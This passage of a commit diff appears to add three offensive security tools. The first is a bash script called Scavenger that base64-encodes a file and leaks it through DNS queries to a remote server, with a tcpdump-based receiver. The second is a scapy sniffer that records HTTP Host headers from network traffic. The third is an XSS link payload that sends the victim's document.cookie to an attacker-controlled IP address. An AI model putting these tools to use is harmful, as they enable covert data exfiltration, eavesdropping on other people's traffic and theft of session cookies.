rm -f ./.temp2
9+
rm -f ./temp1.pcap
10+
rm -f ./.temp1
11+
rm -f ./pcap
12+
clear
13+
else
14+
echo "Leaving a mess (verbose)..."
15+
echo "Clean it up before you run the file again --- ls -al"
16+
echo ""
17+
fi
18+
exit
19+
}
20+
function timecount {
21+
if [[ $stdin == "true" ]]; then
22+
tput cup 0 0
23+
echo "Unable to estimate stream completion time... "
24+
else
25+
declare -i size=$(du -b $file | cut -f1)
26+
declare -i num=$(expr $size \* 2 \* 2 / 96) #2 secs per 96 byte query, * 2 queries
27+
#declare -i sec=$(expr $size % 60)
28+
#declare -i min=$(expr $totalsec / 60)
29+
30+
declare -i min=0
31+
declare -i hour=0
32+
declare -i day=0
33+
if((num>59));then
34+
((sec=num%60))
35+
((num=num/60))
36+
if((num>59));then
37+
((min=num%60))
38+
((num=num/60))
39+
if((num>23));then
40+
((hour=num%24))
41+
((day=num/24))
42+
else
43+
((hour=num))
44+
fi
45+
else
46+
((min=num))
47+
fi
48+
else
49+
((sec=num))
50+
fi
51+
tput cup 0 0
52+
echo -ne "Current Date & Time: $(date) Est. Completion Time in: "
53+
echo "$day"d "$hour"h "$min"m "$sec"s
54+
fi
55+
}
56+
function dnstransfer {
57+
if [[ "$arg" != *-f* ]] || [[ "$arg" != *-q* ]] || [[ "$arg" != *-s* ]] || [[ "$arg" != *-d* ]]; then
58+
echo "Not enough flags/switches"
59+
echo "Run the -h command to view the help file"
60+
echo "Required flags: f,d,q,s,t"
61+
exit
62+
else
63+
clear
64+
base64 -w 63 $file > ./.temp1
65+
echo 'EOF' >> ./.temp1 #comment this out if you do not want to add the EOF line; use Ctrl-C to exit receiver loop
66+
sed -i 's/+/?/g' ./.temp1
67+
clear;timecount &
68+
while IFS= read -r line || [ -n "$line" ]; do
69+
trap "break;cleanup" 1 2
70+
tput cup 1 0
71+
dig +tries=2 +time=$timeout @$serverip $line.$domain
72+
done < ./.temp1
73+
fi
74+
cleanup
75+
exit
76+
}
77+
function dnsreceive {
78+
if [[ "$arg" != *-i* ]] || [[ "$arg" != *-f* ]] || [[ "$arg" != *-p* ]] || [[ "$arg" != *-d* ]]; then
79+
echo "Not enough flags/switches"
80+
echo "Required flags: i,f,p,d,r"
81+
echo "Run the -h command to view the help file"
82+
exit
83+
else
84+
echo "Press CTRL-C when EOF reached"
85+
echo "Starting the packet capture...scanning for EOF marker"
86+
echo ""; echo "Your file will be located here: ./"$file""; echo "";
87+
tcpdump -i $iface port 53 and host $host -l -n -s 0 > ./pcap &
88+
while true; do
89+
if tail -f -n 1 pcap | grep -m 1 --line-buffered EOF; then
90+
kill -2 $(ps aux | grep tcpdump | grep -v "grep tcpdump" | awk '{print $2}') > /dev/null
91+
echo "EOF reached...starting cleanup!"
92+
sleep 3
93+
grep $host pcap | grep $domain pcap | cut -d ' ' -f 9 | cut -d '.' -f 1 | uniq | sed -e 's/\(EOF\)*$//g' > ./.temp2
94+
break
95+
fi
96+
done
97+
sed -i 's/?/+/g' ./.temp2
98+
base64 -d ./.temp2 > $file
99+
cleanup
100+
exit
101+
102+
fi
103+
}
104+
function helpmenu {
105+
echo "
106+
+++++++++++++++++Scavenger: DNS File Transfer and Receiving+++++++++++++++++
107+
-h ----- This help mess
108+
-v ----- verbose mode
109+
-z ----- version/about
110+
*************Transmit Options*************
111+
-t ----- You want to set up file transfer via the DNS protocol
112+
-f ----- The input file to transfer; also takes in stdin '-'. See example.
113+
-d ----- The domain to use as the lookup string
114+
-q ----- The timeout delay (sec) between DNS queries
115+
-s ----- Destination server IP address
116+
*************Receive Options*************
117+
-r ----- You want to receive a file transfer via the DNS protocol
118+
-p ----- Host IP sending the data
119+
-i ----- Listening interface
120+
-d ----- The domain to look for in the DNS traffic
121+
-f ----- The name to save the file as
122+
Examples:
123+
----|Transfer|----
124+
Required flags: f,d,q,s,t
125+
126+
scavenger -f [inputfile] -d [domain] -q [dns query delay] -s [destination server IP] -t
127+
scavenger -f ./stegofile.jpg -d cyber.com -q 5 -s 8.8.8.8 -t
128+
echo "secret message" | ./scavenger -f - -d cyber.com -q 0 -s 8.8.8.8 -t
129+
130+
----|Receiver (On 8.8.8.8 machine from previous ex.)|----
131+
Required flags: i,f,p,d,r
132+
133+
scavenger -i [listening interface] -f [save-as name] -p [sender IP] -d [domain to listen for] -r
134+
scavenger -i eth0 -f ./stegofile.jpg -p 10.0.1.5 -d cyber.com -r
135+
136+
Note1: You must have a receiver setup on the destination server's side to catch the DNS queries,
137+
prior to sending the traffic.
138+
Note2: You may need to preceed the script with sudo.
139+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
140+
}
141+
function versioninfo {
142+
echo "
143+
*****************Scavenger*****************
144+
Scavenger is a script that leverages base64 encoding to transmit
145+
contents via the DNS protocol.
146+
147+
Scavenger v1.0.6 Copyright (C) 2015
148+
This program comes with ABSOLUTELY NO WARRANTY;
149+
This is free software, and you are welcome to redistribute it
150+
under certain conditions
151+
152+
Last Updated: 10/12/2015
153+
"
154+
exit
155+
}
156+
arg="$*"
157+
NUMARGS="$#"
158+
if [[ $arg == *"-v"* ]]; then
159+
echo "Number of arguments: $NUMARGS"
160+
echo "Arguments entered: $arg"
161+
fi
162+
if [[ "$*" == *"-r"* ]] && [[ "$*" == *"-t"* ]]; then
163+
echo "
164+
=======================================================================
165+
ERROR: You can only select -t OR -r NOT both, that wouldn't make sense.
166+
======================================================================="
167+
echo "Try -h for the help menu"
168+
exit
169+
fi
170+
if [ $NUMARGS -eq 0 ]; then
171+
helpmenu
172+
fi
173+
while getopts "zhf:d:q:s:p:i:vtr" option;
174+
do
175+
case $option in
176+
h|\?) helpmenu
177+
exit;;
178+
f) if [[ "$OPTARG" = "-" ]]; then
179+
file="${VAR:-/dev/stdin}"
180+
stdin="true"
181+
else
182+
file="$OPTARG"
183+
fi;;
184+
d) domain="$OPTARG";;
185+
q) timeout="$OPTARG";;
186+
s) serverip="$OPTARG";;
187+
p) host="$OPTARG";;
188+
i) iface="$OPTARG";;
189+
v) verbose=true;;
190+
t) dnstransfer;;
191+
r) dnsreceive;;
192+
z) versioninfo;;
193+
esac
194+
done
195+
shift $((OPTIND-1))

‎sniff_urls

+92
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
import argparse
2+
from scapy.all import *
3+
import signal
4+
import sys
5+
from collections import Counter
6+
def printpattern(match):
7+
if match:
8+
print('[+] Found domain: ', match)
9+
with open(output_file,'a') as f:
10+
if output_file:
11+
#f = open(output_file,'a')
12+
f.write(match + '\n')
13+
return
14+
15+
def findmatches(pkt):
16+
# global pattern
17+
global output_file
18+
raw = pkt.sprintf('%Raw.load%')
19+
host = re.findall('Host:\s[-\w\.]+', raw)
20+
if len(host) > 0:
21+
match = re.sub('Host:\s','', host[0])
22+
printpattern(match)
23+
24+
def cleanfile (file):
25+
global sort
26+
num_matches = 0
27+
current_line = 0
28+
with open(file, 'r+') as f:
29+
index = 0
30+
lines = f.readlines()
31+
for sequence in lines:
32+
if sequence.endswith('\n'):
33+
sequence = re.sub('\n', '', sequence)
34+
lines[index] = sequence
35+
index += 1
36+
# print(raw_lines.items())
37+
enum_lines = dict(Counter(lines))
38+
size = len(enum_lines)
39+
line_num = 1
40+
# print(enum_lines.items())
41+
with open(sort, 'w') as f:
42+
for key, value in enum_lines.items():
43+
if line_num == size:
44+
new_line = '[' + str(value) + ']' + ' ' + key
45+
f.write(new_line)
46+
else:
47+
new_line = '[' + str(value) + ']' + ' ' + key + '\n'
48+
f.write(new_line)
49+
line_num += 1
50+
51+
def signal_handler(signal, frame):
52+
global output_file
53+
global sort
54+
print('[!] Keyboard interrupt detected. Exiting...')
55+
if sort:
56+
cleanfile(output_file)
57+
print("[!] Combined domains are here: '", sort,"'")
58+
print("[!] Output File '", output_file, "' rearranged!")
59+
sys.exit(0)
60+
61+
def main():
62+
global output_file
63+
global sort
64+
parser = argparse.ArgumentParser(description='This tool is a simple network sniffer')
65+
parser.add_argument('-i', '--interface', action='store', dest='interface', required='True'
66+
, help='specify interface to listen on')
67+
parser.add_argument('-o', '--output', action='store', dest='output'
68+
, help='specify an output file to log matches')
69+
parser.add_argument('-s', '--sort', action='store', dest='sort', required='False'
70+
, help='use this flag to combine domains instances (recommended)')
71+
args = vars(parser.parse_args())
72+
int_face = args['interface']
73+
output_file = args['output']
74+
sort = args['sort']
75+
if int_face == None:
76+
parser.print_help()
77+
exit(0)
78+
else:
79+
conf.iface = int_face
80+
print('[*] Starting URL Sniffer.')
81+
try:
82+
print('[*] Beginning to sniff traffic on ' + int_face)
83+
sniff(iface=int_face, count=0, filter="tcp", prn=findmatches, store=0)
84+
except KeyboardInterrupt:
85+
raise
86+
print('[!] Keyboard interrupt signal detected. Exiting...')
87+
exit(0)
88+
89+
if __name__ == '__main__':
90+
signal.signal(signal.SIGINT, signal_handler)
91+
output_file = ''
92+
main()

‎xss_link

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<a href="javascript:onclick=document.location='http://10.0.1.4/verisign.php?sign='+document.cookie" "window.location.href='http://google.com'>Back</a>

0 commit comments

Comments
 (0)
Please sign in to comment.